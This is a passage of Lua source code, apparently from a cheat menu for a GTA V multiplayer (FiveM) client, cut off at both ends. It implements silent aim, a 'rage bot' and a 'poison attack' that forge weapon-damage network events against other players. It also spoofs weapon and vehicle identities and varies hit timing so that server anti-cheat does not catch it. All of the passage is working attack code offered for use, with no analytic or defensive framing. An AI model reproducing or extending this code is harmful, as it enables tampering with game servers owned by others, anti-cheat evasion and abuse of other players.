found found, ped = FindNextPed(handle) if not found then EndFindPed(handle) break end end return peds end while _G.runmenu do local waitTime = 25 menu.vars.silentAimCurrentTarget = nil menu.vars.silentAimDestroyerTargets = nil repeat if not menu.vars.bools.silentAim or menu.vars.panicMode then break end waitTime = 0 local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then break end local weapon = GetSelectedPedWeapon(playerPed) local grandEnabled = menu.vars.bools and menu.vars.bools.silentAimGrand == true local canAct = not IsPedRagdoll(playerPed) and not IsPedDiving(playerPed) and not IsPedSwimming(playerPed) and not IsPedClimbing(playerPed) and not IsPedCuffed(playerPed) and not IsPedFalling(playerPed) and not IsPedJumping(playerPed) local shooting = IsPedShooting(playerPed) local minigun = weapon == GetHashKey("WEAPON_MINIGUN") or weapon == GetHashKey("WEAPON_RAYMINIGUN") if IsPedArmed(playerPed, 7) and IsPlayerFreeAiming(PlayerId()) and IsControlPressed(0, 22) then lastSilentAimJumpAt = GetGameTimer() end local attackPressed = IsControlPressed(0, 24) local keyName = menu.vars.hotkeyBinds if keyName then keyName = menu.vars.hotkeyBinds.SILENT_AIM_KEY end local holdKeyEnabled = keyName and keyName ~= "" and keyName ~= "None" and keyName ~= "NONE" local inputActive = attackPressed if holdKeyEnabled then local key = ImGuiKey[keyName] inputActive = key and Ham.isKeyDown(key) or false end if menu.vars.bools.silentAimEspBlink and weapon and weapon ~= unarmedWeaponHash and not excludedDamageWeaponHashes[weapon] and IsPlayerFreeAiming(PlayerId()) then local metrics = menu.utils.getAimFovScreenMetrics() local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.silentAimFov or 40) local selectors = menu.vars.selectors local mode = selectors and menu.vars.selectors.silentAimMode or 1 local maximumDistance = menu.vars.sliders.silentAimDistance or 180.0 local playerPosition = GetEntityCoords(playerPed) local currentTarget local closestDistance = 1.0E9 local function considerTarget(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not menu.vars.bools.revoBypass and not grandEnabled and IsEntityDead(entity) then return end if menu.utils.isMenuSpawnedPed(entity) or menu.utils.isPedFriend(entity) then return end local vehicle = 0 if IsPedInAnyVehicle(entity, false) then vehicle = GetVehiclePedIsIn(entity, false) end if mode ~= 2 and menu.vars.bools.silentAimVisibleCheck then local clearLos = HasEntityClearLosToEntity(playerPed, entity, 17) local vehicleClearLos = false if vehicle ~= 0 and DoesEntityExist(vehicle) then vehicleClearLos = HasEntityClearLosToEntity(playerPed, vehicle, 17) end if not clearLos and not vehicleClearLos then return end end local distance = #(playerPosition - GetEntityCoords(entity)) if distance > maximumDistance then return end local screenDistance = menu.functions.getSilentAimFovScreenDistPx(entity, metrics.hamCenterX, metrics.hamCenterY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) and screenDistance < closestDistance then closestDistance = screenDistance currentTarget = entity end end for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() and NetworkIsPlayerActive(playerId) then considerTarget(GetPlayerPed(playerId)) end end if menu.vars.bools.silentAimNpc then for index = 1, #(pedCache.peds or {}), 1 do local ped = pedCache.peds[index] if ped ~= playerPed and DoesEntityExist(ped) and not IsPedAPlayer(ped) then considerTarget(ped) end end end menu.vars.silentAimCurrentTarget = currentTarget else menu.vars.silentAimCurrentTarget = nil end if not weapon or weapon == unarmedWeaponHash or excludedDamageWeaponHashes[weapon] or not shooting or not inputActive or IsPedReloading(playerPed) then break end local spoofEnabled = menu.vars.bools and (menu.vars.bools.localWeaponSpoof or menu.vars.bools.spoofWeaponBypass) spoofEnabled = spoofEnabled == true local unarmedSpoof = menu.vars.bools and (menu.vars.bools.silentAimUnarmed or spoofEnabled) unarmedSpoof = unarmedSpoof == true local spoofWeaponBypass = menu.vars.bools and menu.vars.bools.spoofWeaponBypass == true local destroyerMode = menu.vars.bools and menu.vars.bools.silentAimDestroyerMode == true local fireWeaponHash = weapon if minigun then fireWeaponHash = GetHashKey("WEAPON_COMBATMG") end if grandEnabled then updateGrandWeaponSpoofState(weapon, true, computeGrandWeaponDamage(weapon)) elseif unarmedSpoof then updateGrandWeaponSpoofState(weapon, false, -1) if menu.vars.bools.electronAcWeaponBypass then Ham.setWeaponOverride(weapon, batWeaponHash) elseif menu.vars.bools.weaponBypass and menu.functions.getWeaponBypassSpoofHash then Ham.setWeaponOverride(weapon, menu.functions.getWeaponBypassSpoofHash()) elseif menu.vars.bools.weaponBypassRecommended and menu.functions.getRecommendedWeaponBypassSpoofHash then Ham.setWeaponOverride(weapon, menu.functions.getRecommendedWeaponBypassSpoofHash()) elseif menu.vars.bools.localWeaponSpoof then Ham.setWeaponOverride(weapon, unarmedWeaponHash) else Ham.setWeaponOverride(weapon, unarmedWeaponHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weapon) end else updateGrandWeaponSpoofState(weapon, false, -1) end local cameraX, cameraY, cameraZ = table.unpack(GetGameplayCamCoord()) local metrics = menu.utils.getAimFovScreenMetrics() local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.silentAimFov or 40) local selectors = menu.vars.selectors local mode = selectors and menu.vars.selectors.silentAimMode or 1 local maximumDistance = menu.vars.sliders.silentAimDistance or 180.0 local playerPosition = GetEntityCoords(playerPed) local shotInterval = 0 local weaponStats = weaponStatsByHash[weapon] if weaponStats and 0 < weaponStats.rpm then shotInterval = math.max(0, math.floor(60000 / weaponStats.rpm) - 8) end local target local closestDistance = 1.0E9 local destroyerTargets = {} local destroyerTargetSet = {} local function considerTarget(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not menu.vars.bools.revoBypass and not grandEnabled and IsEntityDead(entity) then return end if menu.utils.isMenuSpawnedPed(entity) or menu.utils.isPedFriend(entity) then return end local vehicle = 0 if IsPedInAnyVehicle(entity, false) then vehicle = GetVehiclePedIsIn(entity, false) end if mode ~= 2 and menu.vars.bools.silentAimVisibleCheck then local clearLos = HasEntityClearLosToEntity(playerPed, entity, 17) local vehicleClearLos = false if vehicle ~= 0 and DoesEntityExist(vehicle) then vehicleClearLos = HasEntityClearLosToEntity(playerPed, vehicle, 17) end if not clearLos and not vehicleClearLos then return end end local distance = #(playerPosition - GetEntityCoords(entity)) if distance > maximumDistance then return end local screenDistance = menu.functions.getSilentAimFovScreenDistPx(entity, metrics.hamCenterX, metrics.hamCenterY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) then if screenDistance < closestDistance then closestDistance = screenDistance target = entity end if destroyerMode and not destroyerTargetSet[entity] then destroyerTargetSet[entity] = true destroyerTargets[#destroyerTargets + 1] = entity end end end for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() and NetworkIsPlayerActive(playerId) then considerTarget(GetPlayerPed(playerId)) end end local npcEnabled = menu.vars and menu.vars.bools and menu.vars.bools.silentAimNpc == true if npcEnabled then local currentTime = GetGameTimer() if 150 < currentTime - pedCache.lastUpdate then pedCache.lastUpdate = currentTime pedCache.peds = collectPeds() end for index = 1, #pedCache.peds, 1 do local ped = pedCache.peds[index] if ped ~= playerPed and DoesEntityExist(ped) and not IsPedAPlayer(ped) then considerTarget(ped) end end end if not target then local previousTarget = menu.vars.silentAimCurrentTarget if previousTarget and DoesEntityExist(previousTarget) and previousTarget ~= playerPed then local screenDistance = menu.functions.getSilentAimFovScreenDistPx( previousTarget, metrics.hamCenterX, metrics.hamCenterY ) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) then target = previousTarget closestDistance = screenDistance end end end local recentlyJumped = GetGameTimer() - lastSilentAimJumpAt < 200 if destroyerMode and 0 < #destroyerTargets then menu.vars.silentAimDestroyerTargets = destroyerTargetSet else menu.vars.silentAimDestroyerTargets = nil end local hasTarget = destroyerMode and 0 < #destroyerTargets or not destroyerMode and target ~= nil if not hasTarget or recentlyJumped then break end local currentTime = GetGameTimer() if not (shotInterval <= currentTime - lastSilentAimShotAt) then break end lastSilentAimShotAt = currentTime local hitChance = menu.vars.sliders and menu.vars.sliders.silentAimHitChance or 100.0 hitChance = math.max(0.0, math.min(100.0, hitChance)) local shouldFire = destroyerMode if not shouldFire then shouldFire = 100.0 <= hitChance if not shouldFire then shouldFire = math.random(10000) <= math.floor(hitChance * 100.0 + 0.5) end end if shouldFire then local function fireAtPed(ped) local function calculateDamage(targetPed, targetX, targetY, targetZ) local stats = weaponStatsByHash[weapon] if not stats then return spoofWeaponBypass and 18.0 or 24.0 end local damage = IsPedAPlayer(targetPed) and stats.fm or stats.base local function squaredBoneDistance(boneId) local bonePosition = menu.utils.getTargetBonePosition(targetPed, boneId) if not bonePosition or not bonePosition.x then bonePosition = GetPedBoneCoords(targetPed, boneId, 0.0, 0.0, 0.0) end if not bonePosition or not bonePosition.x then return 1.0E18 end local dx = bonePosition.x - targetX local dy = bonePosition.y - targetY local dz = bonePosition.z - targetZ return dx * dx + dy * dy + dz * dz end local headDistance = squaredBoneDistance(31086) local bodyDistance = squaredBoneDistance(24817) local legDistance = math.min(squaredBoneDistance(57717), squaredBoneDistance(65245)) if headDistance < bodyDistance and headDistance < legDistance then damage = damage * 2.0 elseif headDistance > legDistance and bodyDistance > legDistance then damage = damage * 0.75 end local dx = playerPosition.x - targetX local dy = playerPosition.y - targetY local dz = playerPosition.z - targetZ local distance = math.sqrt(dx * dx + dy * dy + dz * dz) if 1 < stats.pellets then local pelletMultiplier = 1.0 if 5.0 < distance then pelletMultiplier = math.max(0.15, 1.0 - (distance - 5.0) / math.max(1.0, stats.fe - 5.0) * 0.85) end damage = damage * stats.pellets * pelletMultiplier end if distance > stats.fs and stats.fe > stats.fs then local distanceMultiplier = math.min(1.0, (distance - stats.fs) / (stats.fe - stats.fs)) damage = damage * (1.0 - distanceMultiplier * 0.5) end return math.max(1.0, damage) end local targetInfo = menu.functions.getSilentAimTargetForPed(ped) local targetCoords = targetInfo and targetInfo.coord local boneMode = targetInfo and targetInfo.boneMode or 2 local randomBoneId = targetInfo and targetInfo.randomBoneId local ignoreVisibility = mode == 2 or grandEnabled local vehicle = 0 local ignoredEntity = playerPed local inVehicle = IsPedInAnyVehicle(ped, false) if inVehicle then vehicle = GetVehiclePedIsIn(ped, false) if vehicle ~= 0 and DoesEntityExist(vehicle) then ignoredEntity = vehicle end end if not ignoreVisibility then local clearLos = HasEntityClearLosToEntity(playerPed, ped, 17) local vehicleClearLos = false if vehicle ~= 0 and DoesEntityExist(vehicle) then vehicleClearLos = HasEntityClearLosToEntity(playerPed, vehicle, 17) end if not clearLos and not vehicleClearLos then return end end local targetPosition = vector3(targetCoords.x, targetCoords.y, targetCoords.z) local shotPlayerPosition = GetEntityCoords(playerPed) local direction = shotPlayerPosition - targetPosition local directionLength = math.sqrt(direction.x * direction.x + direction.y * direction.y + direction.z * direction.z) if 0.01 < directionLength then direction = direction / directionLength else direction = vector3(0, 0, 1) end if boneMode == 3 or boneMode == 4 then direction = vector3(direction.x, direction.y, 0.0) directionLength = math.sqrt(direction.x * direction.x + direction.y * direction.y) if 0.01 < directionLength then direction = direction / directionLength else direction = vector3(1, 0, 0) end end local shotOffset = 0.15 if inVehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local vehicleClass = GetVehicleClass(vehicle) if vehicleClass == 8 or vehicleClass == 13 then shotOffset = 0.25 end end local shotStart, shotEnd if boneMode == 2 then shotStart = vector3(targetPosition.x, targetPosition.y, targetPosition.z - 1.0) shotEnd = targetPosition else shotStart = targetPosition + direction * shotOffset shotEnd = targetPosition end if inVehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local vehicleShotStart = menu.utils.getSilentAimVehicleShotStart(vehicle, shotPlayerPosition, targetPosition) if vehicleShotStart then shotStart = vehicleShotStart end end local damage = calculateDamage(ped, targetCoords.x, targetCoords.y, targetCoords.z) if randomBoneId then local stats = weaponStatsByHash[weapon] if stats then local randomDamage = IsPedAPlayer(ped) and stats.fm or stats.base local limbBones = { [18905] = true, [57005] = true, [61163] = true, [40269] = true, [45509] = true, [28252] = true, [58271] = true, [51826] = true, [63931] = true, [36864] = true, [14201] = true, [52301] = true, } local legBones = { [14201] = true, [52301] = true, [63931] = true, [36864] = true } if randomBoneId == 31086 then randomDamage = randomDamage * 2.0 elseif legBones[randomBoneId] then randomDamage = randomDamage * 0.5 elseif limbBones[randomBoneId] then randomDamage = randomDamage * 0.65 elseif randomBoneId == 39317 then randomDamage = randomDamage * 1.1 end local dx = playerPosition.x - targetCoords.x local dy = playerPosition.y - targetCoords.y local dz = playerPosition.z - targetCoords.z local distance = math.sqrt(dx * dx + dy * dy + dz * dz) if 1 < stats.pellets then local pelletMultiplier = 1.0 if 5.0 < distance then pelletMultiplier = math.max(0.15, 1.0 - (distance - 5.0) / math.max(1.0, stats.fe - 5.0) * 0.85) end randomDamage = randomDamage * stats.pellets * pelletMultiplier end if distance > stats.fs and stats.fe > stats.fs then local distanceMultiplier = math.min(1.0, (distance - stats.fs) / (stats.fe - stats.fs)) randomDamage = randomDamage * (1.0 - distanceMultiplier * 0.5) end damage = math.max(1.0, randomDamage) end end if IsPedAPlayer(ped) then local playerIndex = NetworkGetPlayerIndexFromPed(ped) if not playerIndex or playerIndex == -1 then return end local serverId = GetPlayerServerId(playerIndex) if not serverId or not (0 < serverId) then return end local distance = #(playerPosition - GetEntityCoords(ped)) local hitComponent = 0 if boneMode == 1 then hitComponent = 1 elseif boneMode == 3 then hitComponent = 2 elseif boneMode == 4 then hitComponent = 3 end local eventDamage = damage if boneMode == 1 then eventDamage = 520 end if grandEnabled and boneMode ~= 1 then sendGrandWeaponDamageEvent(serverId, computeGrandWeaponDamage(weapon), distance) return end local data = {} data.weaponHash = weapon data.damage = eventDamage data.damageType = 3 data.hitGlobalId = 0 data.parentGlobalId = 0 data.hitComponent = hitComponent data.overrideDamage = true data.damageTime = GetNetworkTimeAccurate() data.f133 = true data.isNetTargetPos = true data.damageFlags = 513 data.f112Data = distance if menu.vars.bools.weaponBypassRecommended and menu.functions.withRecommendedBypassDamageVehicleSpoof then menu.functions.withRecommendedBypassDamageVehicleSpoof(function() Ham.sendWeaponDamageEvent(serverId, data) end) return end Ham.sendWeaponDamageEvent(serverId, data) return end local maximumShotDistance = math.max(maximumDistance * 2.0, 2000.0) if grandEnabled and boneMode ~= 1 then ShootSingleBulletBetweenCoordsIgnoreEntity( shotStart.x, shotStart.y, shotStart.z, shotEnd.x, shotEnd.y, shotEnd.z, computeGrandWeaponDamage(weapon), true, unarmedWeaponHash, playerPed, true, false, maximumShotDistance, ignoredEntity, true, false, true, true, true, false ) return end local bulletDamage = boneMode == 1 and 520 or damage ShootSingleBulletBetweenCoordsIgnoreEntity( shotStart.x, shotStart.y, shotStart.z, shotEnd.x, shotEnd.y, shotEnd.z, bulletDamage, true, fireWeaponHash, playerPed, true, false, maximumShotDistance, ignoredEntity, true, false, true, true, true, false ) end if destroyerMode then for index = 1, #destroyerTargets, 1 do fireAtPed(destroyerTargets[index]) end else fireAtPed(target) end elseif spoofWeaponBypass and not grandEnabled then local cameraRotation = GetGameplayCamRot(2) local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local shotStart = vector3(cameraX, cameraY, cameraZ) + direction * 0.2 local shotEnd = shotStart + direction * math.max(maximumDistance, 250.0) local stats = weaponStatsByHash[weapon] local damage = stats and stats.fm or 18.0 ShootSingleBulletBetweenCoordsIgnoreEntity( shotStart.x, shotStart.y, shotStart.z, shotEnd.x, shotEnd.y, shotEnd.z, damage, true, fireWeaponHash, playerPed, true, false, math.max(maximumDistance * 2.0, 2000.0), playerPed, true, false, true, true, true, false ) end until true Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local radiusSetting = 140 local maximumRange = 40.0 local damage = 70.0 local attackInterval = 350 local wasEnabled = false while _G.runmenu do local waitTime = 500 if menu.vars.bools.poisonAttack then wasEnabled = true waitTime = 0 repeat local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then break end local extinguisher = fireExtinguisherWeaponHash if not HasPedGotWeapon(playerPed, fireExtinguisherWeaponHash, false) then GiveWeaponToPed(playerPed, fireExtinguisherWeaponHash, 9999, false, false) menu.vars.poisonAttackAddedExtinguisher = true end SetPedInfiniteAmmo(playerPed, true, fireExtinguisherWeaponHash) SetCurrentPedWeapon(playerPed, fireExtinguisherWeaponHash, true) local currentWeapon = GetSelectedPedWeapon(playerPed) if currentWeapon ~= extinguisher then break end local firing = IsControlPressed(0, 24) if not firing then firing = IsPedShooting(playerPed) end if not firing then break end local elapsed = GetGameTimer() - lastPoisonAttackAt if not (attackInterval <= elapsed) then break end local screenWidth, screenHeight = GetActiveScreenResolution() local centerX, centerY = 0.5, 0.5 local radius = radiusSetting / 1000.0 * math.min(screenWidth, screenHeight) local playerPosition = GetEntityCoords(playerPed) local closestPed = nil local closestScore = 1.0E9 for _, playerId in ipairs(GetActivePlayers()) do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) or menu.utils.isPedFriend(targetPed) then break end local distance = #(playerPosition - GetEntityCoords(targetPed)) if not (maximumRange >= distance) then break end local head = menu.utils.getTargetBonePosition(targetPed, 31086) local body = menu.utils.getTargetBonePosition(targetPed, 24817) if not body then body = GetEntityCoords(targetPed) end local function screenDistance(vector) if not vector or not vector.x then return nil end local visible, screenX, screenY = GetScreenCoordFromWorldCoord(vector.x, vector.y, vector.z) if not visible then return nil end local dx = (screenX - centerX) * screenWidth local dy = (screenY - centerY) * screenHeight return math.sqrt(dx * dx + dy * dy) end local headDistance = screenDistance(head) local bodyDistance = screenDistance(body) local score = nil if headDistance and radius >= headDistance then score = headDistance elseif bodyDistance and radius >= bodyDistance then score = bodyDistance + 50000.0 end if score and closestScore > score then closestScore = score closestPed = targetPed end until true end if not closestPed then break end local targetPlayer = NetworkGetPlayerIndexFromPed(closestPed) if not targetPlayer or targetPlayer == -1 then break end local serverId = GetPlayerServerId(targetPlayer) if not serverId or not (0 < serverId) then break end local distance = #(playerPosition - GetEntityCoords(closestPed)) local data = {} data.weaponHash = selectAntiCheatWeaponHash() data.damage = damage data.damageType = 3 data.hitGlobalId = 0 data.parentGlobalId = 0 data.hitComponent = 0 data.overrideDamage = true data.damageTime = GetNetworkTimeAccurate() data.f133 = true data.isNetTargetPos = true data.damageFlags = 513 data.f112Data = distance Ham.sendWeaponDamageEvent(serverId, data) lastPoisonAttackAt = GetGameTimer() until true elseif wasEnabled then wasEnabled = false local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedInfiniteAmmo(playerPed, false, fireExtinguisherWeaponHash) if menu.vars.poisonAttackAddedExtinguisher then if GetSelectedPedWeapon(playerPed) == fireExtinguisherWeaponHash then SetCurrentPedWeapon(playerPed, unarmedWeaponHash, true) end RemoveWeaponFromPed(playerPed, fireExtinguisherWeaponHash) menu.vars.poisonAttackAddedExtinguisher = nil end end end Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local fireWeaponHash = GetHashKey("WEAPON_FIRE") local rageAimBones = { 31086, 39317, 45509, 40269, 22711, 2992, 18905, 57005, 11816, 51826, 58271, 36864, 63931, 52301, 14201, 20781, 2108, 31086, 24817, } local function updateRageCooldownWindow() local killLimit = menu.functions.getRageBotCooldownKillLimit() if killLimit <= 0 then return end local currentTime = GetGameTimer() local duration = math.max(1, menu.functions.getRageBotCooldownSeconds()) * 1000 if rageBotCooldownState.windowStart ~= 0 and not (duration <= currentTime - rageBotCooldownState.windowStart) then return end rageBotCooldownState.windowStart = currentTime rageBotCooldownState.killsUsed = 0 rageBotCooldownState.killWatch = {} rageBotLockedTarget = nil end local function isRageCooldownEnabled() return 0 < menu.functions.getRageBotCooldownKillLimit() end local function canRageBotAcquireTarget() local killLimit = menu.functions.getRageBotCooldownKillLimit() if killLimit <= 0 then return true end updateRageCooldownWindow() local pendingKills = 0 for target, watched in pairs(rageBotCooldownState.killWatch) do if watched and target and target ~= 0 and DoesEntityExist(target) and not IsEntityDead(target) then pendingKills = pendingKills + 1 end end return killLimit > rageBotCooldownState.killsUsed + pendingKills end local function watchRageBotTarget(entity) if not isRageCooldownEnabled() then return end if entity and entity ~= 0 and DoesEntityExist(entity) and not IsEntityDead(entity) then rageBotCooldownState.killWatch[entity] = true end end local function updateRageBotKills() if not isRageCooldownEnabled() then return end updateRageCooldownWindow() for target, watched in pairs(rageBotCooldownState.killWatch) do if not DoesEntityExist(target) then rageBotCooldownState.killWatch[target] = nil elseif watched and (IsEntityDead(target) or IsPedDeadOrDying(target, true)) then rageBotCooldownState.killWatch[target] = nil rageBotCooldownState.killsUsed = rageBotCooldownState.killsUsed + 1 if rageBotLockedTarget == target then rageBotLockedTarget = nil end end end end local function scoreRageTargetInFov(entity, radius, centerX, centerY, unusedArgument) if not entity or entity == 0 or not DoesEntityExist(entity) then return false, nil end if not menu.vars.bools.rageBotTargetDead and IsEntityDead(entity) then return false, nil end if menu.utils.isPedFriend(entity) then return false, nil end local bestDistance = 1.0E9 for index = 1, #rageAimBones, 1 do local bonePosition = menu.utils.getTargetBonePosition(entity, rageAimBones[index]) if bonePosition and bonePosition.x then local screenDistance = menu.utils.getAimBoneScreenDistPx(bonePosition.x, bonePosition.y, bonePosition.z, centerX, centerY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) and bestDistance > screenDistance then bestDistance = screenDistance end end end if 1.0E9 <= bestDistance then local position = GetEntityCoords(entity) local screenDistance = menu.utils.getAimBoneScreenDistPx(position.x, position.y, position.z + 0.5, centerX, centerY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) then bestDistance = screenDistance end end if 1.0E9 <= bestDistance then return false, nil end return true, bestDistance or 1.0E9 end local function sendRageBotZeroDamageEvent(entity, origin, unusedArgument) if not Ham or not Ham.sendWeaponDamageEvent then return false end local playerIndex = NetworkGetPlayerIndexFromPed(entity) if not playerIndex or playerIndex == -1 then return false end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return false end local networkId = NetworkGetNetworkIdFromEntity(entity) if not networkId or networkId == 0 then return false end local distance = #(origin - GetEntityCoords(entity)) local bonePosition = GetPedBoneCoords(entity, 24818, 0.0, 0.0, 0.0) local localPosition = GetOffsetFromEntityGivenWorldCoords(entity, bonePosition.x, bonePosition.y, bonePosition.z) local data = {} data.weaponHash = 2508868239 data.damage = 0 data.damageType = 3 data.hitGlobalId = networkId data.hitComponent = 10 data.overrideDamage = true data.damageFlags = 511 data.actionResultName = 0 data.actionResultId = 1 data.f104 = 0 data.isNetTargetPos = true data.localPosX = localPosition.x data.localPosY = localPosition.y data.localPosZ = localPosition.z data.f112Data = distance data.willKill = false data.f133 = false data.hasImpactDir = false data.hitEntityWeapon = false data.hitWeaponAmmoAttachment = false data.silenced = false Ham.sendWeaponDamageEvent(serverId, data) if menu.functions.triggerRageBotLocalVisualPistolBurstOnDamage then menu.functions.triggerRageBotLocalVisualPistolBurstOnDamage(entity, PlayerPedId()) end watchRageBotTarget(entity) return true end local function sendRageBotSafeKillDamage(entity, origin) if not Ham or not Ham.sendWeaponDamageEvent then return false end local playerIndex = NetworkGetPlayerIndexFromPed(entity) if not playerIndex or playerIndex == -1 then return false end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return false end local damage, willKill = menu.functions.getSafeKillHitDamage(entity) if damage <= 0 then return false end local networkId = NetworkGetNetworkIdFromEntity(entity) if not networkId or networkId == 0 then return false end local distance = #(origin - GetEntityCoords(entity)) local bonePosition = GetPedBoneCoords(entity, 24818, 0.0, 0.0, 0.0) local localPosition = GetOffsetFromEntityGivenWorldCoords(entity, bonePosition.x, bonePosition.y, bonePosition.z) local data = {} data.weaponHash = 133987706 data.damage = damage data.damageType = 3 data.hitGlobalId = networkId data.hitComponent = 0 data.overrideDamage = true data.damageFlags = 0 data.actionResultName = 0 data.actionResultId = 0 data.f104 = 0 data.isNetTargetPos = true data.localPosX = localPosition.x data.localPosY = localPosition.y data.localPosZ = localPosition.z data.f112Data = distance data.willKill = willKill data.f133 = false data.hasImpactDir = false data.hitEntityWeapon = false data.hitWeaponAmmoAttachment = false data.silenced = false Ham.sendWeaponDamageEvent(serverId, data) if menu.functions.triggerRageBotLocalVisualPistolBurstOnDamage then menu.functions.triggerRageBotLocalVisualPistolBurstOnDamage(entity, PlayerPedId()) end watchRageBotTarget(entity) return true end local function sendRageBotFixedDamage(entity, origin, weaponHash) if not Ham or not Ham.sendWeaponDamageEvent then return false end local playerIndex = NetworkGetPlayerIndexFromPed(entity) if not playerIndex or playerIndex == -1 then return false end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return false end local networkId = NetworkGetNetworkIdFromEntity(entity) if not networkId or networkId == 0 then return false end local distance = #(origin - GetEntityCoords(entity)) local bonePosition = GetPedBoneCoords(entity, 24818, 0.0, 0.0, 0.0) if not bonePosition or not bonePosition.x then return false end local localPosition = GetOffsetFromEntityGivenWorldCoords(entity, bonePosition.x, bonePosition.y, bonePosition.z) if not localPosition or localPosition.x == nil or localPosition.y == nil or localPosition.z == nil then return false end local data = {} data.weaponHash = weaponHash data.damage = 200 data.damageType = 3 data.hitGlobalId = networkId data.hitComponent = 0 data.overrideDamage = true data.damageFlags = 0 data.actionResultName = 0 data.actionResultId = 0 data.f104 = 0 data.isNetTargetPos = true data.localPosX = localPosition.x data.localPosY = localPosition.y data.localPosZ = localPosition.z data.f112Data = distance data.willKill = true data.f133 = false data.hasImpactDir = false data.hitEntityWeapon = false data.hitWeaponAmmoAttachment = false data.silenced = false Ham.sendWeaponDamageEvent(serverId, data) watchRageBotTarget(entity) return true end local function applyRageFixedDamageHit(entity, currentTime, origin, weaponHash) if not DoesEntityExist(entity) or IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then return end local state = rageBotTargetStates[entity] if state and state.nextHitAt and currentTime < state.nextHitAt then return end if sendRageBotFixedDamage(entity, origin, weaponHash) then if not state then state = {} end state.hits = 0 state.done = false state.nextHitAt = currentTime + 75 rageBotTargetStates[entity] = state end end local function applyRageSafeKillHit(entity, currentTime, origin) if not DoesEntityExist(entity) or IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then return end local state = rageBotTargetStates[entity] if state and state.nextHitAt and currentTime < state.nextHitAt then return end if sendRageBotSafeKillDamage(entity, origin) then if not state then state = {} end state.hits = 0 state.done = false state.nextHitAt = currentTime + menu.functions.getVariedHamHitDelay(100, 180) rageBotTargetStates[entity] = state end end local function applyRageZeroDamageBurst(entity, currentTime, origin, settings) if type(settings) ~= "table" then return end local maxHits = settings.maxHits local interval = settings.interval if not interval then interval = 25 end local state = rageBotTargetStates[entity] local hits = state and state.hits or 0 if not state then state = { hits = 0, nextHitAt = currentTime, done = false } rageBotTargetStates[entity] = state hits = 0 end if state.done then return end if maxHits and maxHits <= hits then state.done = true return end if not DoesEntityExist(entity) or IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then state.done = true return end if state.nextHitAt and currentTime < state.nextHitAt then return end if sendRageBotZeroDamageEvent(entity, origin, settings) then hits = hits + 1 state.hits = hits local delay = math.max(50, interval) state.nextHitAt = currentTime + menu.functions.getVariedHamHitDelay(delay, delay + 60) if maxHits and maxHits <= hits then state.done = true end end end local rageVehicleSpoofOwned = false local function setRageVehicleSpoof(enabled) if menu.vars then menu.vars._rageBotUdKillSpoofWanted = enabled == true end if enabled then if rageVehicleSpoofOwned then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions and menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() rageVehicleSpoofOwned = true return end if not menu.utils or not menu.utils.toggleVehicleSpoof then return end menu.utils.toggleVehicleSpoof(true) rageVehicleSpoofOwned = true return end if not rageVehicleSpoofOwned then return end rageVehicleSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end local function hasPendingRageBotTarget() for target, targetState in pairs(rageBotTargetStates) do if targetState and not targetState.done and DoesEntityExist(target) and not IsEntityDead(target) and not IsPedDeadOrDying(target, true) then return true end end return false end while _G.runmenu do local waitTime = 25 if menu.vars.bools.rageBot and not menu.vars.panicMode then waitTime = 0 local udKillEnabled = menu.vars.bools.rageBotUdKill == true if not udKillEnabled then setRageVehicleSpoof(false) end local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsEntityDead(playerPed) then updateRageBotKills() local silentKillEnabled = menu.vars.bools.rageBotSilentKillF == true if not udKillEnabled and not silentKillEnabled and menu.functions.applyRageBotVisualWeapon then menu.functions.applyRageBotVisualWeapon(playerPed) end local metrics = menu.utils.getAimFovScreenMetrics() local fovSetting = menu.vars.sliders.rageBotFov if not fovSetting then fovSetting = 50 end local fovRadius = menu.utils.getAimFovRadiusPixels(fovSetting) local centerX, centerY = metrics.hamCenterX, metrics.hamCenterY local playerPosition = GetEntityCoords(playerPed) local damageProfile = false if not udKillEnabled and not silentKillEnabled then damageProfile = menu.functions.getRageBotHamDamageProfile() end local currentTime = GetGameTimer() local rageCandidates = {} local visibleRageTargets = {} for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() and NetworkIsPlayerActive(playerId) then local targetPed = GetPlayerPed(playerId) local 